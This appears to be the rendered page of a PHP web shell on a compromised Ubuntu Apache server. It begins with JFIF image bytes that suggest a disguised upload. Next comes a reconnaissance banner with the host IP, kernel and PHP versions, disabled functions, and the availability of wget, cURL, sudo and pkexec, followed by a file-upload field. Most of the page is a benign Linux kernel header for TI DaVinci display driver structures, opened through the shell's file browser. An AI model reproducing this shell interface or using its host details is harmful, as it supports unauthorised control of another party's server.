????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.23.102.52 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/src/linux-headers-3.13.0-35/include/media/davinci/ |
Upload File : |
/* * Copyright (C) 2010 Texas Instruments Incorporated - http://www.ti.com/ * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation version 2. * * This program is distributed WITHOUT ANY WARRANTY of any * kind, whether express or implied; without even the implied warranty * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. */ #ifndef VPBE_DISPLAY_H #define VPBE_DISPLAY_H /* Header files */ #include <linux/videodev2.h> #include <media/v4l2-common.h> #include <media/videobuf2-dma-contig.h> #include <media/davinci/vpbe_types.h> #include <media/davinci/vpbe_osd.h> #include <media/davinci/vpbe.h> #define VPBE_DISPLAY_MAX_DEVICES 2 enum vpbe_display_device_id { VPBE_DISPLAY_DEVICE_0, VPBE_DISPLAY_DEVICE_1 }; #define VPBE_DISPLAY_DRV_NAME "vpbe-display" #define VPBE_DISPLAY_MAJOR_RELEASE 1 #define VPBE_DISPLAY_MINOR_RELEASE 0 #define VPBE_DISPLAY_BUILD 1 #define VPBE_DISPLAY_VERSION_CODE ((VPBE_DISPLAY_MAJOR_RELEASE << 16) | \ (VPBE_DISPLAY_MINOR_RELEASE << 8) | \ VPBE_DISPLAY_BUILD) #define VPBE_DISPLAY_VALID_FIELD(field) ((V4L2_FIELD_NONE == field) || \ (V4L2_FIELD_ANY == field) || (V4L2_FIELD_INTERLACED == field)) /* Exp ratio numerator and denominator constants */ #define VPBE_DISPLAY_H_EXP_RATIO_N 9 #define VPBE_DISPLAY_H_EXP_RATIO_D 8 #define VPBE_DISPLAY_V_EXP_RATIO_N 6 #define VPBE_DISPLAY_V_EXP_RATIO_D 5 /* Zoom multiplication factor */ #define VPBE_DISPLAY_ZOOM_4X 4 #define VPBE_DISPLAY_ZOOM_2X 2 /* Structures */ struct display_layer_info { int enable; /* Layer ID used by Display Manager */ enum osd_layer id; struct osd_layer_config config; enum osd_zoom_factor h_zoom; enum osd_zoom_factor v_zoom; enum osd_h_exp_ratio h_exp; enum osd_v_exp_ratio v_exp; }; struct vpbe_disp_buffer { struct vb2_buffer vb; struct list_head list; }; /* vpbe display object structure */ struct vpbe_layer { /* number of buffers in fbuffers */ unsigned int numbuffers; /* Pointer to the vpbe_display */ struct vpbe_display *disp_dev; /* Pointer pointing to current v4l2_buffer */ struct vpbe_disp_buffer *cur_frm; /* Pointer pointing to next v4l2_buffer */ struct vpbe_disp_buffer *next_frm; /* videobuf specific parameters * Buffer queue used in video-buf */ struct vb2_queue buffer_queue; /* allocator-specific contexts for each plane */ struct vb2_alloc_ctx *alloc_ctx; /* Queue of filled frames */ struct list_head dma_queue; /* Used in video-buf */ spinlock_t irqlock; /* V4l2 specific parameters */ /* Identifies video device for this layer */ struct video_device video_dev; /* This field keeps track of type of buffer exchange mechanism user * has selected */ enum v4l2_memory memory; /* Used to keep track of state of the priority */ struct v4l2_prio_state prio; /* Used to store pixel format */ struct v4l2_pix_format pix_fmt; enum v4l2_field buf_field; /* Video layer configuration params */ struct display_layer_info layer_info; /* vpbe specific parameters * enable window for display */ unsigned char window_enable; /* number of open instances of the layer */ unsigned int usrs; /* number of users performing IO */ unsigned int io_usrs; /* Indicates id of the field which is being displayed */ unsigned int field_id; /* Indicates whether streaming started */ unsigned char started; /* Identifies device object */ enum vpbe_display_device_id device_id; /* facilitation of ioctl ops lock by v4l2*/ struct mutex opslock; u8 layer_first_int; }; /* vpbe device structure */ struct vpbe_display { /* layer specific parameters */ /* lock for isr updates to buf layers*/ spinlock_t dma_queue_lock; /* C-Plane offset from start of y-plane */ unsigned int cbcr_ofst; struct vpbe_layer *dev[VPBE_DISPLAY_MAX_DEVICES]; struct vpbe_device *vpbe_dev; struct osd_state *osd_device; }; /* File handle structure */ struct vpbe_fh { /* vpbe device structure */ struct vpbe_display *disp_dev; /* pointer to layer object for opened device */ struct vpbe_layer *layer; /* Indicates whether this file handle is doing IO */ unsigned char io_allowed; /* Used to keep track priority of this instance */ enum v4l2_priority prio; }; struct buf_config_params { unsigned char min_numbuffers; unsigned char numbuffers[VPBE_DISPLAY_MAX_DEVICES]; unsigned int min_bufsize[VPBE_DISPLAY_MAX_DEVICES]; unsigned int layer_bufsize[VPBE_DISPLAY_MAX_DEVICES]; }; #endif /* VPBE_DISPLAY_H */